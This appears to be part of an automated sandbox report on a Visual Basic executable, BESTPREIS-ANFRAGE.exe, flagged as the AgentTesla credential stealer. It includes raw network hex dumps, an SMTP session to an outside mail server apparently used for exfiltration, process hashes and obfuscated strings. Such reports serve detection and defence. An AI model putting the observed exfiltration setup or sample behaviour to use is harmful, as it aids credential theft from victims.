2021-09-24 19:53:40 UTC	210	IN	Data Raw: 23 a9 28 9b bf 17 2e ff aa d1 ef 78 d0 0a 6d cb d9 ed 33 a2 e2 de 6c ad 8c 6c 2c b6 92 58 e9 77 5a 9c af d7 db c4 08 a2 2c ad 44 a4 0a 64 3f bd 21 c3 46 f2 43 ee 14 7c f4 c7 0f 4a f6 ca bd 9f 75 22 4b 76 9c 7a 01 2f 55 71 74 85 99 7c 5b e2 73 df 46 63 6b 25 81 9f 8d 08 d4 d2 29 1d f8 53 3a 9c d9 68 22 58 b6 bb 95 e1 31 3b a6 6b b6 c1 28 3d 6b d7 4a 1a 07 fd ee b6 67 00 5b a0 26 37 5c 49 22 6a c7 cd 57 c2 9c f0 0f 9c 53 b1 e1 1e bf e5 ef 10 2f 3c eb 13 d0 b7 e4 05 94 5b 73 a0 35 07 2b e4 c2 52 20 b6 32 b2 89 70 a6 cd f7 4f e1 d8 01 06 37 a5 b4 2c c5 92 e4 5c 4f 15 fa cc 2e 2e 32 e8 3e 8d df a4 f2 1b 53 dd 80 82 f5 67 e8 6b 86 65 a1 6b 35 47 10 9e 02 8b 04 a9 1c a7 70 4f 2f fd 74 62 dc 97 3a 1e 3a 24 81 17 b7 26 1c 94 5f a7 27 06 e0 4c 7b 0a 91 5b f2 25 70 Data Ascii: #(.xm3ll,XwZ,Dd?!FC\|Ju"Kvz/Uqt\|[sFck%)S:h"X1;k(=kJg[&7\I"jWS/<[s5+R 2pO7,\O..2>Sgkek5GpO/tb::$&_'L{[%p
2021-09-24 19:53:40 UTC	212	IN	Data Raw: 53 31 9e e2 9d 59 51 65 9f cf d2 6e 65 ac 35 85 5a fe 46 e3 f9 ad 94 52 b1 e7 db f9 e0 21 10 27 5b 77 09 d6 59 12 1c 8c 2a a8 e5 6c 9c 96 06 0a 19 a3 d8 e3 44 4e d1 0d 9f 2d f8 12 8e 32 58 b8 a8 eb 9b b4 ac 37 aa a5 66 f3 4e a9 ea 41 c1 69 c4 a4 79 26 47 87 ef e5 ad cb bc 83 03 d0 9a ea b3 a8 d1 54 2e 10 e9 0e 15 2a bc ae 0c e8 c0 fd 32 82 2f f0 a1 c4 18 c7 e8 e5 3a 8a 84 b7 a0 f8 bd b4 f9 15 56 f4 0a 00 13 8a 2c 01 39 7f de 2a 26 13 ac 58 60 e0 5d f5 48 24 74 00 d8 7d 20 89 33 ec 07 4e 8f 81 3e 7c 17 05 81 c7 d2 6c 2a f1 05 05 fa 0b 03 9e f1 f4 de 8c a2 ee d5 0f c7 79 1b da e4 ea 0d f1 9e e7 e6 e1 64 ad ff e8 f3 27 e7 45 39 0f bb e0 04 26 ce 54 f2 64 07 0b 13 b3 49 79 92 10 a2 24 86 a3 e6 10 0e 3f 47 12 05 e5 ed 6b 22 bb b1 a7 b7 4a e4 74 b1 fc 3f 4e 21 Data Ascii: S1YQene5ZFR!'[wYlDN-2X7fNAiy&GT.2/:V,9&X`]H$t} 3N>\|lyd'E9&TdIy$?Gk"Jt?N!
2021-09-24 19:53:40 UTC	213	IN	Data Raw: f2 6d e8 13 ba 0f 08 ca 31 79 16 07 47 3d bd 2f 8e b5 e6 dd c6 0b 2a a5 bb 98 f1 e6 c1 fe 55 e1 d8 11 8e 9f bf d8 23 c9 92 e4 b4 0b 27 92 ca 3b 25 1a c4 2b 02 33 b0 73 83 53 de 80 3f ef 72 60 fc 8f 76 b1 7b ac c6 19 9e 02 56 18 dc 04 a9 7f 4a 22 c0 6f 6c a7 03 6b 91 96 2b 87 18 33 8f 13 88 47 2f 8a 0e e0 76 72 16 8d 40 7a b2 79 69 04 05 cb f9 11 e2 31 d1 6c 61 19 35 4e f6 51 98 e9 a2 48 b3 df 03 3e 68 5b 68 74 a8 65 fe e8 e7 70 86 fc 90 07 3f 77 bc 07 18 8a 9c b4 ca 4f ec 88 e4 ac 1f 1c e5 97 28 6c c8 29 57 35 58 54 5b 02 6c 9f be 95 ec 48 54 ab a2 b0 81 43 1b 67 fa 57 df ba 93 15 1c c7 0d e6 15 5a 4f 61 a9 13 d0 5d ef 61 ba 4a 30 c4 6c b7 31 b2 9e 5f e5 f0 de 01 46 4e 6d 6d b1 7b 8b 8b 15 84 5e 62 45 cf b1 32 12 a0 c8 85 4d 02 ec 7f 74 34 3f 33 e7 5c f3 Data Ascii: m1yG=/*U#';%+3sS?r`v{VJ"olk+3G/vr@zyi1la5NQH>h[htep?wO(l)W5XT[lHTCgWZOa]aJ0l1_FNmm{^bE2Mt4?3\
2021-09-24 19:53:40 UTC	214	IN	Data Raw: 13 44 09 f3 bd 59 f2 db 04 e8 21 ca ee e2 fa 27 6d 44 4e 8f 9e 37 6a 95 b0 8d c7 db 62 b4 f4 07 0d f5 10 1c 01 45 f8 de 90 28 95 da 05 c3 7d 07 44 79 fe 18 fe 95 e9 79 78 7e 2a 7e e2 ee 2e e7 5a 23 03 b5 6c 98 31 51 d4 f3 73 97 bc 12 bc 25 76 0c 06 a3 08 8a b8 fa 8c 92 3d 7d 93 4b f3 f9 f8 83 be a3 27 ef 4f ef 7a af f0 35 d7 66 0f 2e e3 62 a2 37 06 a2 ab ef e2 5b 24 46 c9 e0 ff d7 98 fd 59 aa 54 cc 8f a5 41 79 ab 80 26 6c 65 ab 40 33 85 78 11 03 5a 84 35 bd cd 01 8e 56 3f 95 75 46 ee a2 f9 38 fa 4c eb 25 9c bc 72 a6 73 96 b9 42 e1 9e d1 d0 ea a8 36 d1 81 c4 3d 64 7e 16 3d ac ef 21 96 a4 18 a1 6e ae e3 6e 2a 5f fe 60 c3 d1 e8 35 ac ef d8 69 b1 1f 70 64 a0 fb 4b 88 67 57 81 a0 c8 c8 dc 0e ab 0e a6 50 a3 1e 6a 2a 3c 14 d7 48 fc 5d e9 15 5e f2 ce 0f 6c f1 c1 Data Ascii: DY!'mDN7jbE(}Dyyx~~.Z#l1Qs%v=}K'Oz5f.b7[$FYTAy&le@3xZ5V?uF8L%rsB6=d~=!nn_`5ipdKgWPj*<H]^l
2021-09-24 19:53:40 UTC	215	IN	Data Raw: 15 09 3f 36 70 b4 1b 91 1c 9d a0 43 1f f7 8a 6b 25 10 1c e5 4a 2e 61 c8 1f 5e 22 43 54 5b db 63 83 2d bc ff 45 49 a4 2d 0d 87 5c 8f 35 66 cb c3 a6 1c 47 64 db 9e 12 1a 5a a3 33 26 5d d0 5c e4 7d c1 d6 04 de f0 f9 37 bd 11 66 ea 97 cb 05 5f 52 5d 43 a2 5c ee 81 31 a4 4c 06 4e f4 b7 2e 35 2f 8e b7 ce 50 d7 79 67 32 36 25 68 d3 61 f8 9a 94 22 a6 ee 0a a9 3e cb 27 82 d2 83 cf 0b ac ab 6d e3 dc 4c 22 b4 78 36 54 54 5b a4 05 d5 95 81 6f 1d 3e e5 49 a9 ee 0e cd ad f9 50 dc b5 6e b9 a6 22 df a8 86 1b c4 d0 7b 1a 3c b9 52 ff 43 32 39 a1 45 e0 2a ab 7c b9 3d ee 84 ef 75 06 8e f3 1c 5b 2c 9e e0 5c 49 df b9 9d cf d4 73 6a 2b 21 82 5c e7 4e eb c4 a8 83 4e 34 e8 c4 f2 f4 36 35 3b 5f 7f 1e 45 d0 c4 14 90 28 92 67 33 9b b2 06 1b 16 24 c0 61 96 43 55 df 80 a4 cb 10 8d 2d Data Ascii: ?6pCk%J.a^"CT[c-EI-\5fGdZ3&]\}7f_R]C\1LN.5/Pyg26%ha">'mL"x6TT[o>IPn"{<RC29E*\|=u[,\Isj+!\NN465;_E(g3$aCU-
2021-09-24 19:53:40 UTC	217	IN	Data Raw: f2 76 fb 43 93 66 86 5b a0 50 e4 88 42 2b 94 78 40 c6 a8 f2 2d f7 55 6c a8 b0 b3 6b b9 66 11 3d 46 e7 8d da d6 ff ae 1b d8 9c df 21 f9 f5 96 b2 25 a1 27 90 bf 02 2e ea ac f9 f2 64 4c e0 73 c8 cc e4 ba 07 e0 d8 7c b8 2d f3 26 bc 83 da 9c 69 7f 9d bc 54 5b dd 0b a2 2c a6 43 bd 0b 77 3b b8 3b cc ce 1a 43 e9 06 5e ec c8 17 41 e6 c0 a4 9a 68 21 cd e7 9c 60 09 25 55 6b 6c 85 80 60 47 f6 66 d0 4e 6e 43 28 80 9f 8d 12 5d 5e a2 b9 e5 52 2d 85 d6 6a 27 51 a7 d0 9a 69 c2 4e a1 73 a3 d6 ae a0 61 ce 58 9a f4 96 ec b3 64 1d 41 33 f2 25 fc a9 34 7c 8f cc 1b c8 c0 f7 5a 92 72 bf de 0c f8 e3 de 11 1d bd 18 1a da a2 61 f6 1d ca 5d ab 3c 1e ae 86 c2 50 a8 ba bf 0f 8f 70 a6 dd 71 a9 e1 fe 03 1c bf 48 b4 03 c7 8e 76 f5 4e 15 f9 c3 28 23 15 c8 28 0d 28 aa fc 14 56 ca 13 fd 9f Data Ascii: vCf[PB+x@-Ulkf=F!%'.dLs\|-&iT[,Cw;;C^Ah!`%Ukl`GfNnC(]^R-j'QiNsaXdA3%4\|Zra]<PpqHvN(#((V
2021-09-24 19:53:40 UTC	218	IN	Data Raw: 37 1e d6 5b f3 eb 18 cc 82 eb 5e d5 fc 6c c8 b4 a9 b5 bc 18 6f de f8 77 0e 36 8b 66 fe 63 3a 36 a7 7f 85 33 37 47 df 1c e9 9d e3 41 1a 8e ee 09 41 2a 8b 6a 5b 59 52 40 99 da bf 74 f8 4d 34 92 d2 17 54 63 45 8e 91 4e b8 ef c8 f4 e6 2e 94 0b 50 78 8d f6 cb 45 ff 9e a9 0f 6f 2d 80 19 e3 1c 86 13 db e2 39 42 4d c4 8d 37 73 b4 8c 0f 5c b7 2f 37 90 b2 ae 22 aa b9 68 da 4f af e4 4f e0 6f dd 39 fc 39 5c 93 db fa 87 d6 aa 99 1a d1 85 f3 ae b4 de d5 cf 1f e9 09 1a 2a bc a8 0a e3 eb fa 35 0f df e7 a8 cd 19 cc f4 74 4b 4d 18 bf a0 f9 79 b4 10 d6 d9 f8 0a 2e 01 18 76 e8 2d df 0a 2a cc f8 cb 5b e6 de 59 e9 db 06 80 32 59 62 b0 75 3c fe 6d 52 00 8c 2c 7c 1f 0f 93 c7 d2 6c 24 94 18 1f e9 84 ac 88 f3 fc cd 9b 2e 93 c0 89 59 7f 01 5f 65 e0 0a e4 1e 18 6a 69 70 3a 6c 61 7f Data Ascii: 7[^low6fc:637GAAj[YR@tM4TcEN.PxEo-9BM7s\/7"hOOo99\5tKMy.v-*[Y2Ybu<mR,\|l$.Y_ejip:la
2021-09-24 19:53:40 UTC	219	IN	Data Raw: c9 dd 71 2c 42 a5 c1 8a ef 24 5d a1 72 3e 33 a1 a7 63 d0 44 0a 95 78 e8 b7 61 10 d2 e2 15 34 7f 47 32 66 cf cf 48 c9 9c fe 0a 90 5c ad 6d 09 c7 67 f6 19 3c bd 16 1d d8 b0 e0 17 0b c7 7d a9 3d 5b 2e f1 84 a1 78 db 72 d5 e4 35 de ac 95 38 90 bf 6c 60 6b c5 c3 44 b0 ef f7 1c 4a 35 df f7 12 49 24 db 1e 34 16 8f 97 2f 63 a9 2c 4b 9b 55 87 48 ec 1a 97 5e 00 67 79 e8 e5 72 23 a3 7a c2 10 31 43 dc 73 7e d6 60 79 10 33 2a 89 0a b2 2e 15 9d 78 d8 2c 0f ee 64 75 02 98 52 fb 2b 78 7b 85 45 de eb 90 7b 30 df 79 73 98 ac 4f e4 f0 ae e4 ac 46 bd c2 06 30 7a 84 8b 15 c8 49 8e 9f 2b 51 fd fb 98 77 42 1c ce 7b 75 e0 b2 d6 ae 33 e2 98 ea bc 11 f1 41 0a 00 3c c6 11 50 2c 4d 46 da 9b 6d 8d 3f d5 e2 46 41 b9 23 29 80 51 9a 27 e7 52 c2 b4 9d 07 71 c9 1f 8b 1b 48 22 73 28 53 de Data Ascii: q,B$]r>3cDxa4G2fH\mg<}=[.xr58l`kDJ5I$4/c,KUH^gyr#z1Cs~`y3*.x,duR+x{E{0ysOF0zI+QwB{u3A<P,MFm?FA#)Q'RqH"s(S
2021-09-24 19:53:40 UTC	221	IN	Data Raw: b4 8e 56 6f 18 a1 0a 6c 37 cd a0 7b e6 ba fa 6f 8c 51 f5 e9 ca 61 c2 b6 f7 ef 5f e8 b2 ea 78 08 a6 1a c4 76 e9 6a 0e 79 0a 90 1d 2b ff 3f 38 47 01 c4 49 b1 d9 25 e7 a6 85 15 20 ad 6f c1 f4 41 ec 52 40 e4 9d 50 7b 64 01 e6 c9 a1 70 58 fd 05 03 cb 05 23 83 c4 fa fe 9e 10 9b fc 08 f4 77 09 58 5d e2 0c f6 9c f5 25 64 05 2f 0d e0 83 20 82 4b 46 0a c5 62 fc 34 6c d1 b9 61 70 89 7c ae 3f 6b 79 25 cb 04 ea ad e8 0d 3b 3c 41 12 3b e6 c5 79 2a bf 9f a6 9f 52 e1 74 b3 fe 27 56 c9 a6 f8 d7 40 d4 48 eb 23 fd 8d 9b 26 58 3b 26 44 dc f4 37 8d 6e 98 b0 3b ed d8 a4 50 cb e9 15 40 3e ed 87 5e af db 71 62 47 f5 5c d5 b1 68 ef 30 52 b5 52 31 83 d9 d8 0f cc 49 e5 39 fc c7 02 c9 19 f2 c8 3e c9 fb b9 b4 8c d3 24 f4 e1 a3 41 df 94 74 47 48 c2 4e eb 9c 67 49 94 dd 9e 9c 05 37 97 Data Ascii: Vol7{oQa_xvjy+?8GI% oAR@P{dpX#wX]%d/ KFb4lap\|?ky%;<A;y*Rt'V@H#&X;&D7n;P@>^qbG\h0RR1I9>$AtGHNgI7
2021-09-24 19:53:40 UTC	222	IN	Data Raw: 56 ae 2f 0f ee 44 75 02 98 52 fb 2b 78 7b 85 45 de eb 90 7b 30 df 79 73 98 ac 4f e4 d0 d8 e7 ac 46 bd c2 06 30 7a db c8 7a ba 0c f6 fa 66 30 94 95 98 1a 31 7f a1 09 10 85 9c b2 c2 5f e2 98 ea bc 11 0e 64 0a 20 7c c6 11 50 2c 4d 46 da 9b 6d 8d 3f d5 e2 46 41 b9 23 29 80 51 9a 27 e7 52 c2 b4 9d 07 71 c9 Data Ascii: V/DuR+x{E{0ysOF0zzf01_d \|P,MFm?FA#)Q'Rq

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 24, 2021 21:55:17.533759117 CEST	587	49743	109.169.39.245	192.168.11.20	220-s3.xperimenta.net ESMTP Exim 4.91 #1 Fri, 24 Sep 2021 21:55:17 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Sep 24, 2021 21:55:17.534394979 CEST	49743	587	192.168.11.20	109.169.39.245	EHLO 238576
Sep 24, 2021 21:55:17.553822994 CEST	587	49743	109.169.39.245	192.168.11.20	250-s3.xperimenta.net Hello 238576 [84.17.52.54] 250-SIZE 94371840 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Sep 24, 2021 21:55:17.554167032 CEST	49743	587	192.168.11.20	109.169.39.245	STARTTLS
Sep 24, 2021 21:55:17.576742887 CEST	587	49743	109.169.39.245	192.168.11.20	220 TLS go ahead

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: BESTPREIS-ANFRAGE.exe PID: 8700 Parent PID: 8716

General

Start time:	21:52:47
Start date:	24/09/2021
Path:	C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'
Imagebase:	0x400000
File size:	94208 bytes
MD5 hash:	8D3B546AD98991973C7E6711E41A89AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 9036 Parent PID: 8700

General

Start time:	21:53:11
Start date:	24/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'
Imagebase:	0xcd0000
File size:	65440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 6300 Parent PID: 9036

General

Start time:	21:53:12
Start date:	24/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff655350000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: BESTPREIS-ANFRAGE.exe PID: 8700 Parent PID: 8716 BESTPREIS-ANFRAGE.exeCOMMON

Executed Functions

Function 00412410, Relevance: 323.3, APIs: 156, Strings: 28, Instructions: 1278COMMON

Download Yara Rule

APIs

#592.MSVBVM60(?), ref: 00412586
__vbaFreeVar.MSVBVM60 ref: 0041259E
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 004125BF
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 004125E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,000000F0), ref: 00412617
__vbaStrMove.MSVBVM60 ref: 00412635
__vb.MSVBVM60 ref: 0041263D
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412655
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 0041267D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000060), ref: 004126A7
__vbaStrMove.MSVBVM60 ref: 004126BF
__vb.MSVBVM60 ref: 004126C7
#568.MSVBVM60(000000F0), ref: 004126D2
#677.MSVBVM60(00000000,3FF00000,00000000,3FF00000,00000000,40100000,00000002,?), ref: 00412720
__vbaFpR8.MSVBVM60 ref: 00412726
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00412752
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412778
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 004127A0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,000000D8), ref: 004127CC
__vbaStrMove.MSVBVM60 ref: 004127E0
__vb.MSVBVM60 ref: 004127EC
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412804
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 0041282C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000138), ref: 00412858
__vb.MSVBVM60 ref: 00412860
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412878
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,0000001C), ref: 004128A0
__vbaCastObj.MSVBVM60(?,00411194), ref: 004128E5
__vbaObjSet.MSVBVM60(?,00000000), ref: 004128F3
__vbaHresultCheckObj.MSVBVM60(00000000,?,004111A4,00000058), ref: 00412913
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0041292D
#610.MSVBVM60(00000002), ref: 00412943
#610.MSVBVM60(?), ref: 0041294C
__vbaVarAdd.MSVBVM60(?,?,?,00000001,00000001), ref: 0041297A
#662.MSVBVM60(?,004111B8,00000002,00000000), ref: 00412994
__vbaVarTstNe.MSVBVM60(?,?), ref: 004129B8
__vbaFreeVarList.MSVBVM60(00000004,?,00000002,?,?), ref: 004129DF
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412A03
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412A2B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,000000D0), ref: 00412A57
__vbaStrMove.MSVBVM60 ref: 00412A6B
__vb.MSVBVM60 ref: 00412A77
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412A8F
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412AB7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000078), ref: 00412ADD
__vb.MSVBVM60 ref: 00412AE5
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412AFD
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000048), ref: 00412B2A
__vbaStrMove.MSVBVM60 ref: 00412B3E
__vbaVarDup.MSVBVM60 ref: 00412B64
#645.MSVBVM60(00000002,00000000), ref: 00412B72
__vbaStrMove.MSVBVM60 ref: 00412B80
__vbaFreeVar.MSVBVM60 ref: 00412B8C
__vbaSetSystemError.MSVBVM60(?), ref: 00412BA4
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412BCC
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412BF4
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,0000013C), ref: 00412C56
__vb.MSVBVM60 ref: 00412C6C
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412C81
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412CA9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,000000C0), ref: 00412CD5
__vb.MSVBVM60 ref: 00412CDD
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412CF2
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,0000001C), ref: 00412D1A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004111A4,00000060), ref: 00412D72
__vb.MSVBVM60 ref: 00412D7E
__vbaStrToAnsi.MSVBVM60(?,SLIPCOVER), ref: 00412D99
__vbaSetSystemError.MSVBVM60(00000000), ref: 00412DA7
__vbaFreeStr.MSVBVM60 ref: 00412DCD
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412DF2
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 00412E1A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,0000013C), ref: 00412E7C
__vb.MSVBVM60 ref: 00412E88
#680.MSVBVM60(00000000,3FF00000,00000000,3FF00000,00000000,40490000,00000002,?,?), ref: 00412EE3
__vbaFreeVarList.MSVBVM60(00000003,00000002,?,?), ref: 00412F02
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00412F1E
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,0000004C), ref: 00412F46
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410B30,0000001C,?,?,?,?), ref: 00412FAC
__vbaObjSet.MSVBVM60(?,?,?,?,?,?), ref: 00412FC6
__vb.MSVBVM60(?,?,?,?), ref: 00412FD2
__vbaStrCopy.MSVBVM60(?,?,?,?), ref: 00412FF6
__vbaHresultCheckObj.MSVBVM60(00000000,004011F0,00410AB8,00000700), ref: 0041302D
__vbaFreeStr.MSVBVM60 ref: 00413039
__vbaHresultCheckObj.MSVBVM60(00000000,004011F0,00410A88,000002B4), ref: 0041305A
__vbaRecUniToAnsi.MSVBVM60(00410C68,?,?,00858F22), ref: 00413084
__vbaStrToAnsi.MSVBVM60(?,Brandfarligste,000BCFBB,00000000), ref: 0041309C
__vbaSetSystemError.MSVBVM60(00000000), ref: 004130AA
__vbaRecAnsiToUni.MSVBVM60(00410C68,?,?), ref: 004130C3
__vbaFreeStr.MSVBVM60 ref: 004130E4
__vbaRecDestructAnsi.MSVBVM60(00410C68,?), ref: 004130F6
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 00413117
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 0041313F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,00000110), ref: 0041316F
__vbaStrMove.MSVBVM60 ref: 0041318D
__vb.MSVBVM60 ref: 00413195
#612.MSVBVM60(00000002), ref: 004131A2
__vbaStrVarMove.MSVBVM60(00000002), ref: 004131AF
__vbaStrMove.MSVBVM60 ref: 004131BD
__vbaFreeVar.MSVBVM60 ref: 004131C5
__vbaStrToAnsi.MSVBVM60(?,Cirkumpolar5), ref: 004131D7
__vbaStrToAnsi.MSVBVM60(?,Europerne8,00000000), ref: 004131E6
__vbaStrToAnsi.MSVBVM60(?,telefonopkald,00000000), ref: 004131F5
__vbaStrToAnsi.MSVBVM60(?,Greencoat5,00000000), ref: 00413204
__vbaStrToAnsi.MSVBVM60(?,dialysate,006AB190,00000000), ref: 00413218
__vbaSetSystemError.MSVBVM60(00032D01,00000000), ref: 0041322B
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0041326C
#546.MSVBVM60(00000002), ref: 00413285
__vbaVarMove.MSVBVM60 ref: 00413297
__vbaNew2.MSVBVM60(00410FA4,004155E4), ref: 004132AF
__vbaHresultCheckObj.MSVBVM60(00000000,02A5004C,00410F94,00000014), ref: 004132D7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410FB4,000000F0), ref: 00413307
__vbaStrMove.MSVBVM60 ref: 0041331F
__vb.MSVBVM60 ref: 0041332B
__vbaVarDup.MSVBVM60 ref: 00413351
#529.MSVBVM60(00000002), ref: 0041335E
__vbaFreeVar.MSVBVM60 ref: 0041336A
__vbaStrToAnsi.MSVBVM60(?,Compregnate8,0008F262), ref: 00413381
__vbaStrToAnsi.MSVBVM60(?,Belysningstidens8,00000000), ref: 00413390
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041339E
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004133CA
#680.MSVBVM60(00000000,3FF00000,00000000,3FF00000,00000000,40490000,00000002,?,?), ref: 00413431
__vbaFreeVarList.MSVBVM60(00000003,00000002,?,?), ref: 00413450
#690.MSVBVM60(neguses,Dispute,ENJAIL,undeniably), ref: 0041346D
__vbaInStr.MSVBVM60(00000000,syntaksprincippernes,UNIDEALISTICALLY,FF8500B2), ref: 00413483
__vbaStrCopy.MSVBVM60 ref: 00413494
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004134A2
__vbaStrToAnsi.MSVBVM60(?,Biajaiba,?,?), ref: 004134B8
__vbaStrToAnsi.MSVBVM60(?,mitten,?,?,004D5566,00065A58,?,00000000), ref: 004134E6
__vbaStrToAnsi.MSVBVM60(?,CAFETERIAERNE,00000000), ref: 004134F5
__vbaSetSystemError.MSVBVM60(00000000), ref: 00413503
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00413544
#704.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00413575
__vbaStrMove.MSVBVM60 ref: 00413589
__vbaFreeVar.MSVBVM60 ref: 00413597
#536.MSVBVM60(00000002), ref: 004135B1
__vbaStrMove.MSVBVM60 ref: 004135BC
__vbaFreeVar.MSVBVM60 ref: 004135C4
_adj_fdiv_m64.MSVBVM60 ref: 004135E9
__vbaFpI4.MSVBVM60(43020000,?,40A00000), ref: 0041361D
__vbaHresultCheckObj.MSVBVM60(00000000,004011F0,00410A88,000002C0,?,40A00000), ref: 00413651
__vbaRecDestructAnsi.MSVBVM60(00410C68,?,00413774), ref: 004136DE
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 004136ED
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 004136F5
__vb.MSVBVM60(?,40A00000), ref: 00413703
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 0041370B
__vbaRecDestruct.MSVBVM60(00410C68,?), ref: 00413719
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413725
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 0041372D
__vbaFreeVar.MSVBVM60(?,40A00000), ref: 00413735
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413741
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413749
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413751
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413759
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413761
__vb.MSVBVM60(?,40A00000), ref: 00413769
__vbaFreeStr.MSVBVM60(?,40A00000), ref: 00413771

Strings

Biajaiba, xrefs: 004134B2
SUNDER, xrefs: 00413010
<-W, xrefs: 00412DB5
Vanskelighed7, xrefs: 00412836
TOUPEERNES, xrefs: 00412B50
ENJAIL, xrefs: 0041345E
UNIDEALISTICALLY, xrefs: 00413478
enfeebler, xrefs: 00412C24
Europerne8, xrefs: 004131E0
neguses, xrefs: 00413468
Greencoat5, xrefs: 004131FE
Dispute, xrefs: 00413463
SLIPCOVER, xrefs: 00412D93
Brandfarligste, xrefs: 00413096
undeniably, xrefs: 00413459
syntaksprincippernes, xrefs: 0041347D
CAFETERIAERNE, xrefs: 004134EF
Compregnate8, xrefs: 0041337B
Cirkumpolar5, xrefs: 004131D1
telefonopkald, xrefs: 004131EF
mitten, xrefs: 004134E0
Tainan9, xrefs: 00413489
Cynthias, xrefs: 00412E4E
dialysate, xrefs: 00413212
Belysningstidens8, xrefs: 0041338A
Folkebaaden, xrefs: 00412FE1
RINDA, xrefs: 0041333D
Vulgrsprogenes, xrefs: 00412D4A

Memory Dump Source

Source File: 00000000.00000002.1108844439.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

